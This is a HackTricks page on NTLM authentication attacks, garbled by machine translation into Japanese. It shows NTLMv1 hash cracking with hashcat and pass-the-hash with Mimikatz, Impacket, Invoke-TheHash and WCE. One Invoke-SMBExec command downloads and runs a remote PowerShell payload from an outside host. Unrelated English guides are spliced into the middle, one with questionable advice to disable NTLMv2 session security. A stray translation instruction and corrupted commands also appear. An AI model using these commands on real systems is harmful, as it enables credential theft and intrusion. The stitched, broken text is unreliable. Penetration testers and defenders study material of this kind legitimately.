.. | ||
atexec.md | ||
places-to-steal-ntlm-creds.md | ||
psexec-and-winexec.md | ||
README.md | ||
smbexec.md | ||
winrm.md | ||
wmicexec.md |
NTLM
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
- ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãææ°ããŒãžã§ã³ã®PEASSã«ã¢ã¯ã»ã¹ãããã§ããããŸãã¯HackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS FamilyãèŠã€ããŠãã ãããç§ãã¡ã®ç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³
- å ¬åŒã®PEASSïŒHackTricks swagãæã«å ¥ããŸããã
- ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ããã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãPRã hacktricks repo ãš hacktricks-cloud repo ã«æåºããŠãã ããã
åºæ¬æ å ±
NTLMã®è³æ Œæ å ±: ãã¡ã€ã³åïŒããå ŽåïŒããŠãŒã¶ãŒåããã¹ã¯ãŒãããã·ã¥ã
LMã¯Windows XPãšãµãŒããŒ2003ã§ã®ã¿æå¹ã§ãïŒLMããã·ã¥ã¯ã¯ã©ãã¯ã§ããŸãïŒãLMããã·ã¥AAD3B435B51404EEAAD3B435B51404EEã¯ãLMã䜿çšãããŠããªãããšãæå³ããŸãïŒç©ºã®æååã®LMããã·ã¥ã§ãïŒã
ããã©ã«ãã§ã¯Kerberosã䜿çšããããããNTLMã¯Active Directoryãæ§æãããŠããªãããã¡ã€ã³ãååšããªããKerberosãæ©èœããŠããªãïŒæ§æãäžè¯ïŒããã¯ã©ã€ã¢ã³ããæå¹ãªãã¹ãåã®ä»£ããã«IPã䜿çšããŠæ¥ç¶ããããšããå Žåã«ã®ã¿äœ¿çšãããŸãã
NTLMèªèšŒã®ãããã¯ãŒã¯ãã±ããã«ã¯ããã㌠"NTLMSSP" ããããŸãã
ãããã³ã«ïŒLMãNTLMv1ãNTLMv2ã¯ã%windir%\Windows\System32\msv1_0.dllã®DLLã§ãµããŒããããŠããŸãã
LMãNTLMv1ãNTLMv2
䜿çšããããããã³ã«ã確èªããã³èšå®ã§ããŸãïŒ
GUI
_secpol.msc_ãå®è¡ -> ããŒã«ã«ããªã·ãŒ -> ã»ãã¥ãªãã£ãªãã·ã§ã³ -> ãããã¯ãŒã¯ã»ãã¥ãªãã£ïŒLANãããŒãžã£èªèšŒã¬ãã«ãã¬ãã«ã¯0ãã5ãŸã§ã®6ã€ãããŸãã
ã¬ãžã¹ããª
ããã«ãããã¬ãã«5ãèšå®ãããŸãïŒ
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
å¯èœãªå€:
0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
åºæ¬çãªNTLMãã¡ã€ã³èªèšŒã¹ããŒã
- ãŠãŒã¶ãŒãè³æ Œæ å ±ãå ¥åããŸãã
- ã¯ã©ã€ã¢ã³ããã·ã³ã¯ããã¡ã€ã³åãšãŠãŒã¶ãŒåãå«ãèªèšŒãªã¯ãšã¹ããéä¿¡ããŸãã
- ãµãŒããŒã¯ãã£ã¬ã³ãžãéä¿¡ããŸãã
- ã¯ã©ã€ã¢ã³ãã¯ããã¹ã¯ãŒãã®ããã·ã¥ãããŒãšããŠãã£ã¬ã³ãžãæå·åããå¿çãšããŠéä¿¡ããŸãã
- ãµãŒããŒã¯ãã¡ã€ã³ã³ã³ãããŒã©ãŒã«ãã¡ã€ã³åããŠãŒã¶ãŒåããã£ã¬ã³ãžãå¿çãéä¿¡ããŸããActive Directoryãæ§æãããŠããªãå Žåãããã¡ã€ã³åããµãŒããŒã®ååã§ããå Žåãè³æ Œæ å ±ã¯ããŒã«ã«ã§ç¢ºèªãããŸãã
- ãã¡ã€ã³ã³ã³ãããŒã©ãŒã¯ããã¹ãŠãæ£ãããã©ããã確èªããæ å ±ããµãŒããŒã«éä¿¡ããŸãã
ãµãŒããŒãšãã¡ã€ã³ã³ã³ãããŒã©ãŒã¯ãNetlogonãµãŒããŒãä»ããŠã»ãã¥ã¢ãã£ãã«ãäœæã§ããŸãããã¡ã€ã³ã³ã³ãããŒã©ãŒã¯ãµãŒããŒã®ãã¹ã¯ãŒããç¥ã£ãŠããããããããå¯èœã§ãïŒããã¯NTDS.DITããŒã¿ããŒã¹å ã«ãããŸãïŒã
ããŒã«ã«NTLMèªèšŒã¹ããŒã
èªèšŒã¯ã以åã«è¿°ã¹ããã®ãšåãã§ããããµãŒããŒã¯SAMãã¡ã€ã«å ã§èªèšŒããããšãããŠãŒã¶ãŒã®ããã·ã¥ãç¥ã£ãŠããŸãããããã£ãŠããã¡ã€ã³ã³ã³ãããŒã©ãŒã«åãåããã代ããã«ããµãŒããŒèªäœã§ãŠãŒã¶ãŒã®èªèšŒã確èªããŸãã
NTLMv1ãã£ã¬ã³ãž
ãã£ã¬ã³ãžã®é·ãã¯8ãã€ãã§ãå¿çã®é·ãã¯24ãã€ãã§ãã
ããã·ã¥NTïŒ16ãã€ãïŒã¯ã7ãã€ããã€3ã€ã®ããŒãïŒ7B + 7B +ïŒ2B + 0x00*5ïŒïŒã«åå²ãããŸããæåŸã®ããŒãã¯ãŒãã§åããããŸãããã®åŸãåããŒãããšã«ãã£ã¬ã³ãžãå¥ã ã«æå·åãããçµæã®æå·åããããã€ããçµåãããŸããåèšïŒ8B + 8B + 8B = 24ãã€ãã
åé¡ç¹ïŒ
- ã©ã³ãã æ§ã®æ¬ åŠ
- 3ã€ã®ããŒãã¯åå¥ã«æ»æãããNTããã·ã¥ãèŠã€ããå¯èœæ§ããããŸãã
- DESã¯è§£èªå¯èœ
- 3çªç®ã®ããŒã¯åžžã«5ã€ã®ãŒãã§æ§æãããŠããŸãã
- åããã£ã¬ã³ãžãäžãããããšãå¿çãåãã«ãªããŸãããããã£ãŠã被害è ã«å¯ŸããŠæååã1122334455667788ãããã£ã¬ã³ãžãšããŠäžããäºåèšç®ãããã¬ã€ã³ããŒããŒãã«ã䜿çšããŠå¿çãæ»æããããšãã§ããŸãã
NTLMv1æ»æ
çŸåšã§ã¯ãå¶çŽã®ãªãå§ä»»ãæ§æãããç°å¢ãèŠã€ããããšã¯ãŸããŸãå°ãªããªã£ãŠããŸãããããã¯æ§æãããããªã³ãã¹ããŒã©ãŒãµãŒãã¹ãæªçšããããšãã§ããªãããšãæå³ããŸããã
æ¢ã«ADã§æã£ãŠããäžéšã®è³æ Œæ
å ±/ã»ãã·ã§ã³ãæªçšããŠãããªã³ã¿ãŒã«å¯ŸããŠã³ã³ãããŒã«äžã®ãã¹ãã«å¯ŸããŠèªèšŒãè¡ãããã«äŸé Œããããšãã§ããŸãããã®åŸãmetasploit auxiliary/server/capture/smb
ãŸãã¯responder
ã䜿çšããŠãèªèšŒãã£ã¬ã³ãžã1122334455667788ã«èšå®ããèªèšŒè©Šè¡ããã£ããã£ãããããNTLMv1ã䜿çšããŠè¡ãããå Žåãããã解èªããããšãã§ããŸãã
responder
ã䜿çšããŠããå Žåã¯ãèªèšŒãããŠã³ã°ã¬ãŒãããããã«ãã©ã°--lm
ã䜿çšããŠã¿ãããšãã§ããŸãã
ãã®ãã¯ããã¯ã§ã¯ãèªèšŒã¯NTLMv1ã䜿çšããŠå®è¡ããå¿
èŠããããŸãïŒNTLMv2ã¯æå¹ã§ã¯ãããŸããïŒã
ããªã³ã¿ãŒã¯èªèšŒäžã«ã³ã³ãã¥ãŒã¿ãŒã¢ã«ãŠã³ãã䜿çšããã³ã³ãã¥ãŒã¿ãŒã¢ã«ãŠã³ãã¯é·ãã©ã³ãã ãªãã¹ã¯ãŒãã䜿çšããŸãããäžè¬çãªèŸæžã䜿çšããŠã¯ã©ãã¯ããããšã¯ã§ããŸãããããããNTLMv1èªèšŒã¯DESã䜿çšããŠããŸãïŒè©³çŽ°ã¯ãã¡ãïŒããã®ãããDESãã¯ã©ãã¯ããããã«ç¹ã«èšèšãããããã€ãã®ãµãŒãã¹ã䜿çšããããšã§ããããã¯ã©ãã¯ããããšãã§ããŸãïŒããšãã°ãhttps://crack.sh/ã䜿çšã§ããŸãïŒã
hashcatã䜿çšããNTLMv1æ»æ
NTLMv1ã¯ãNTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multiã䜿çšããŠãhashcatã§è§£èªã§ãã圢åŒã§NTLMv1ã¡ãã»ãŒãžã解èªããããšãã§ããŸãã
ã³ãã³ãã¯ä»¥äžã®éãã§ãã
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
``` would output the below:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877 Username: hashcat Challenge: 1122334455667788 LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 CT1: 727B4E35F947129E CT2: A52B9CDEDAE86934 CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use: ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents: 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788
To crack with hashcat: ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
# NTLM Hash Leaking
## Introduction
NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. However, NTLM hashes can be vulnerable to various attacks, including hash cracking and hash leaking.
This guide will focus on the technique of NTLM hash leaking, which involves extracting and exploiting NTLM hashes from a compromised Windows system.
## Prerequisites
To perform NTLM hash leaking, you will need the following:
- A compromised Windows system with administrative privileges
- A tool capable of extracting NTLM hashes, such as Mimikatz
## Steps
1. Gain administrative access to the compromised Windows system.
2. Download and run Mimikatz on the compromised system.
3. Use the `sekurlsa::logonpasswords` command in Mimikatz to extract the NTLM hashes from the system's memory.
4. Once the hashes are extracted, they can be used for various purposes, such as offline cracking or pass-the-hash attacks.
## Mitigation
To mitigate the risk of NTLM hash leaking, consider the following measures:
- Implement strong password policies to prevent easy hash cracking.
- Disable NTLM authentication and use more secure protocols like Kerberos.
- Regularly update and patch Windows systems to address any known vulnerabilities.
- Monitor and log suspicious activities to detect and respond to potential attacks.
## Conclusion
NTLM hash leaking is a technique that allows attackers to extract and exploit NTLM hashes from compromised Windows systems. By understanding this technique and implementing appropriate security measures, you can better protect your systems from such attacks.
727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788
以äžã®ã³ãã³ããå®è¡ããŠãã ããïŒhashtopolisãªã©ã®ããŒã«ã䜿çšããŠåæ£åŠçããããšãæé©ã§ãïŒãããããªããšãæ°æ¥ãããå¯èœæ§ããããŸãã
```bash
hashcatãå®è¡ããŠãã ããïŒhashtopolisãªã©ã®ããŒã«ã䜿çšããŠåæ£åŠçããããšãæé©ã§ãïŒãããããªããšãæ°æ¥ãããå¯èœæ§ããããŸãã
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
ãã®å Žåããã¹ã¯ãŒãã¯ãpasswordãã§ããããšãããã£ãŠããããããã¢ã®ç®çã§ããŒãããŸãã
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand
以äžã¯ãNTLMããã·ã¥ã®äžéšãšããŠã¯ã©ãã¯ãããDESããŒãå€æããããã«ãhashcat-utilitiesã䜿çšããå¿ èŠããããŸãã
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
NTLM Hardening
NTLM (NT LAN Manager) is an authentication protocol used by Windows operating systems. However, it has several security vulnerabilities that can be exploited by attackers. This guide provides steps to harden NTLM and mitigate these vulnerabilities.
Disable NTLMv1
NTLMv1 is an older version of the NTLM protocol and is considered insecure. To disable NTLMv1, follow these steps:
- Open the Group Policy Editor by typing
gpedit.msc
in the Run dialog box. - Navigate to
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options
. - Locate the policy named
Network security: LAN Manager authentication level
and double-click it. - Select the option
Send NTLMv2 response only. Refuse LM & NTLM
. - Click
OK
to save the changes.
Enable NTLMv2
NTLMv2 is an improved version of the NTLM protocol that provides stronger security. To enable NTLMv2, follow these steps:
- Open the Group Policy Editor by typing
gpedit.msc
in the Run dialog box. - Navigate to
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options
. - Locate the policy named
Network security: LAN Manager authentication level
and double-click it. - Select the option
Send NTLMv2 response only. Refuse LM
. - Click
OK
to save the changes.
Disable NTLMv2 Session Security
NTLMv2 Session Security is an extension of NTLMv2 that provides additional security measures. However, it can be vulnerable to certain attacks. To disable NTLMv2 Session Security, follow these steps:
- Open the Group Policy Editor by typing
gpedit.msc
in the Run dialog box. - Navigate to
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options
. - Locate the policy named
Network security: NTLM SSP based (including secure RPC) client/server
and double-click it. - Select the option
Disable
to disable NTLMv2 Session Security. - Click
OK
to save the changes.
Enable NTLM Audit Logging
Enabling NTLM audit logging allows you to monitor NTLM authentication events for potential security breaches. To enable NTLM audit logging, follow these steps:
- Open the Group Policy Editor by typing
gpedit.msc
in the Run dialog box. - Navigate to
Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> Account Logon
. - Double-click the policy named
Audit NTLM authentication in this domain
. - Select the option
Define these policy settings
and check the box forSuccess
andFailure
. - Click
OK
to save the changes.
By following these steps, you can harden NTLM and improve the security of your Windows systems.
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
以äžã¯ããããã³ã°æè¡ã«é¢ããæ¬ã®å 容ã§ãã以äžã®å 容ã¯ããã¡ã€ã«windows-hardening/ntlm/README.mdããã®ãã®ã§ããé¢é£ããè±æãæ¥æ¬èªã«ç¿»èš³ãã翻蚳ãä¿æãããŸãŸãåãããŒã¯ããŠã³ããã³HTMLã®æ§æã§è¿ããŠãã ãããã³ãŒãããããã³ã°æè¡ã®ååããããã³ã°çšèªãã¯ã©ãŠã/SaaSãã©ãããã©ãŒã ã®ååïŒWorkspaceãawsãgcpãªã©ïŒã'leak'ãšããåèªããã³ãã¹ããããã³ããŒã¯ããŠã³ã¿ã°ãªã©ã¯ç¿»èš³ããªãã§ãã ããããŸãã翻蚳ãšããŒã¯ããŠã³ã®æ§æ以å€ã®è¿œå ã®å 容ã¯è¿œå ããªãã§ãã ããã
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
NTLMv2ãã£ã¬ã³ãž
ãã£ã¬ã³ãžã®é·ãã¯8ãã€ãã§ããã2ã€ã®ã¬ã¹ãã³ã¹ãéä¿¡ãããŸãïŒ1ã€ã¯24ãã€ãã§ããã1ã€ã¯å¯å€é·ã§ãã
æåã®ã¬ã¹ãã³ã¹ã¯ãã¯ã©ã€ã¢ã³ããšãã¡ã€ã³ããæ§æãããæååãHMAC_MD5ã§æå·åããNTããã·ã¥ã®MD4ããã·ã¥ãããŒãšããŠäœ¿çšããŸãããã®åŸãçµæã¯ãã£ã¬ã³ãžãæå·åããããã®ããŒãšããŠäœ¿çšãããŸããããã«ã¯ã8ãã€ãã®ã¯ã©ã€ã¢ã³ããã£ã¬ã³ãžãè¿œå ãããŸããåèšïŒ24 Bã
2çªç®ã®ã¬ã¹ãã³ã¹ã¯ãè€æ°ã®å€ïŒæ°ããã¯ã©ã€ã¢ã³ããã£ã¬ã³ãžããªãã¬ã€æ»æãé²ãããã®ã¿ã€ã ã¹ã¿ã³ããªã©ïŒã䜿çšããŠäœæãããŸãã
æåããèªèšŒããã»ã¹ããã£ããã£ããpcapãããå Žåããã®ã¬ã€ãã«åŸã£ãŠãã¡ã€ã³ããŠãŒã¶ãŒåããã£ã¬ã³ãžãããã³ã¬ã¹ãã³ã¹ãååŸãããã¹ã¯ãŒãã解èªããŠã¿ãããšãã§ããŸãïŒhttps://research.801labs.org/cracking-an-ntlmv2-hash/
ãã¹ã»ã¶ã»ããã·ã¥
被害è
ã®ããã·ã¥ãååŸããããããããªãããŸãã«äœ¿çšããããšãã§ããŸãã
ãã®ããã·ã¥ã䜿çšããŠNTLMèªèšŒãå®è¡ããããŒã«ã䜿çšããå¿
èŠããããŸãããŸãã¯ãæ°ããã»ãã·ã§ã³ãã°ãªã³ãäœæãããã®ããã·ã¥ãLSASSã«ã€ã³ãžã§ã¯ãããããšãã§ããŸãããã®ããã**NTLMèªèšŒãå®è¡ããããšããã®ããã·ã¥ã䜿çšãããŸãã**æåŸã®ãªãã·ã§ã³ã¯ãmimikatzãè¡ãããšã§ãã
ãã¹ã»ã¶ã»ããã·ã¥æ»æã¯ãã³ã³ãã¥ãŒã¿ãŒã¢ã«ãŠã³ãã䜿çšããŠãå®è¡ã§ããããšãèŠããŠãããŠãã ããã
Mimikatz
管çè ãšããŠå®è¡ããå¿ èŠããããŸã
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
ããã«ãããmimikatzãèµ·åãããŠãŒã¶ãŒã«å±ããããã»ã¹ãéå§ãããŸãããLSASSå
éšã§ã¯mimikatzãã©ã¡ãŒã¿å
ã®ä¿åãããè³æ Œæ
å ±ã䜿çšãããŸãããã®åŸããã®ãŠãŒã¶ãŒãšããŠãããã¯ãŒã¯ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããŸãïŒrunas /netonly
ã®ããªãã¯ãšäŒŒãŠããŸãããå¹³æãã¹ã¯ãŒããç¥ãå¿
èŠã¯ãããŸããïŒã
Linuxããã®ããã·ã¥ã®æž¡ã
LinuxããPass-the-Hashã䜿çšããŠWindowsãã·ã³ã§ã³ãŒãå®è¡ãååŸããããšãã§ããŸãã
ãããã¯ãªãã¯ããŠæ¹æ³ãåŠã³ãŸãããã
Impacket Windowsã³ã³ãã€ã«æžã¿ããŒã«
Windowsçšã®impacketãã€ããªã¯ãã¡ãããããŠã³ããŒãã§ããŸãã
- psexec_windows.exe
C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
- wmiexec.exe
wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
- atexec.exeïŒãã®å Žåãã³ãã³ããæå®ããå¿
èŠããããŸããcmd.exeãpowershell.exeã¯å¯Ÿè©±åã·ã§ã«ãååŸããããã«ã¯ç¡å¹ã§ãïŒ
C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
- ä»ã«ãããã€ãã®Impacketãã€ããªããããŸã...
Invoke-TheHash
PowerShellã¹ã¯ãªããã¯ãã¡ãããå ¥æã§ããŸãïŒhttps://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Invoke-WMIExec
Invoke-WMIExecã¯ãWindowsãã·ã³äžã§WMIïŒWindows Management InstrumentationïŒã䜿çšããŠãªã¢ãŒãã³ãŒãå®è¡ãè¡ãããã®PowerShellã¹ã¯ãªããã§ãããã®ã¹ã¯ãªããã¯ãNTLMèªèšŒã䜿çšããŠãªã¢ãŒããã·ã³ã«æ¥ç¶ããä»»æã®ã³ãã³ããå®è¡ããããšãã§ããŸãã
䜿çšæ³
Invoke-WMIExec -Target <Target> -Username <Username> -Password <Password> -Command <Command>
<Target>
: ã¿ãŒã²ãããšãªããªã¢ãŒããã·ã³ã®IPã¢ãã¬ã¹ãŸãã¯ãã¹ãåãæå®ããŸãã<Username>
: ãªã¢ãŒããã·ã³ã«æ¥ç¶ããããã®ãŠãŒã¶ãŒåãæå®ããŸãã<Password>
: ãŠãŒã¶ãŒã®ãã¹ã¯ãŒããæå®ããŸãã<Command>
: å®è¡ããã³ãã³ããæå®ããŸãã
äŸ
Invoke-WMIExec -Target 192.168.1.100 -Username Administrator -Password P@ssw0rd -Command "net user"
ãã®äŸã§ã¯ã192.168.1.100ãšããIPã¢ãã¬ã¹ã®ãªã¢ãŒããã·ã³ã«AdministratorãšãããŠãŒã¶ãŒåãšP@ssw0rdãšãããã¹ã¯ãŒãã§æ¥ç¶ãã"net user"ãšããã³ãã³ããå®è¡ããŸãã
泚æäºé
- Invoke-WMIExecã䜿çšããã«ã¯ãå®è¡ãããã·ã³ãšã¿ãŒã²ãããã·ã³ã®éã§ãããã¯ãŒã¯æ¥ç¶ã確ç«ãããŠããå¿ èŠããããŸãã
- ãŠãŒã¶ãŒåãšãã¹ã¯ãŒãã¯ããªã¢ãŒããã·ã³ã«ã¢ã¯ã»ã¹ããããã®æå¹ãªè³æ Œæ å ±ã§ããå¿ èŠããããŸãã
- Invoke-WMIExecã¯ãæªæã®ããç®çã§äœ¿çšãããå¯èœæ§ããããããé©åãªæš©éãšèš±å¯ãæã€äººç©ã«ãã£ãŠã®ã¿äœ¿çšãããã¹ãã§ãã
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Invoke-SMBClient
Invoke-SMBClient
is a PowerShell script that allows you to interact with the Server Message Block (SMB) protocol. It provides a convenient way to perform various operations on SMB shares, such as listing files and directories, uploading and downloading files, and executing commands on remote systems.
Usage:
Invoke-SMBClient -Target <target> -Username <username> -Password <password> -Command <command>
Parameters:
Target
: The IP address or hostname of the target system.Username
: The username to authenticate with.Password
: The password for the specified username.Command
: The command to execute on the remote system.
Example:
Invoke-SMBClient -Target 192.168.1.100 -Username Administrator -Password P@ssw0rd -Command "net user"
This example connects to the target system with the IP address 192.168.1.100
using the username Administrator
and password P@ssw0rd
. It then executes the net user
command on the remote system.
Note: The Invoke-SMBClient
script requires administrative privileges on the target system in order to perform certain operations.
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
Invoke-SMBEnum
Invoke-SMBEnum
is a PowerShell script that can be used to enumerate information from SMB services. It can be used to gather information such as user accounts, shares, and sessions from a target system.
Usage:
Invoke-SMBEnum -Target <target> [-Username <username>] [-Password <password>] [-Domain <domain>] [-Verbose]
Parameters:
Target
: The IP address or hostname of the target system.Username
: The username to use for authentication (optional).Password
: The password to use for authentication (optional).Domain
: The domain to use for authentication (optional).Verbose
: Enables verbose output (optional).
Example:
Invoke-SMBEnum -Target 192.168.1.100 -Username Administrator -Password P@ssw0rd -Domain CONTOSO
Note: This script requires administrative privileges on the target system in order to gather certain information.
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
Invoke-TheHash
ãã®é¢æ°ã¯ãä»ã®ãã¹ãŠã®é¢æ°ãçµã¿åããããã®ã§ããè€æ°ã®ãã¹ããæž¡ãããšãã§ããç¹å®ã®ãã¹ããé€å€ããããšãã§ããŸãã䜿çšãããªãã·ã§ã³ïŒSMBExecãWMIExecãSMBClientãSMBEnumïŒãéžæããããšãã§ããŸããSMBExecãšWMIExecã®ãããããéžæããå Žåããã ããCommandãã©ã¡ãŒã¿ãæå®ããªãå Žåã¯ãååãªæš©éããããã©ããããã§ãã¯ããã ãã§ãã
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
Evil-WinRM ãã¹ã»ã¶ã»ããã·ã¥
Windows Credentials Editor (WCE)
管çè ãšããŠå®è¡ããå¿ èŠããããŸã
ãã®ããŒã«ã¯ãmimikatzãšåãããšãè¡ããŸãïŒLSASSã¡ã¢ãªã®å€æŽïŒã
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
ãŠãŒã¶ãŒåãšãã¹ã¯ãŒãã䜿çšããWindowsãªã¢ãŒãå®è¡ã®æåæ¹æ³
{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}
Windowsãã¹ãããã®è³æ Œæ å ±ã®æœåº
Windowsãã¹ãããè³æ Œæ å ±ãååŸããæ¹æ³ã«ã€ããŠã®è©³çŽ°ã¯ããã®ããŒãžãèªãã§ãã ããã
NTLMãªã¬ãŒãšã¬ã¹ãã³ããŒ
ãããã®æ»æãå®è¡ããæ¹æ³ã®è©³çŽ°ãªã¬ã€ãã«ã€ããŠã¯ããã¡ããåç §ããŠãã ããã
ãããã¯ãŒã¯ãã£ããã£ããã®NTLMãã£ã¬ã³ãžã®è§£æ
https://github.com/mlgualtieri/NTLMRawUnHideã䜿çšããããšãã§ããŸãã
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
- ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒ ãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒ SUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
- å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
- ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ç§ããã©ããŒããŠãã ããðŠ@carlospolopmã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãPRã hacktricks repo ãš hacktricks-cloud repo ã«æåºããŠãã ããã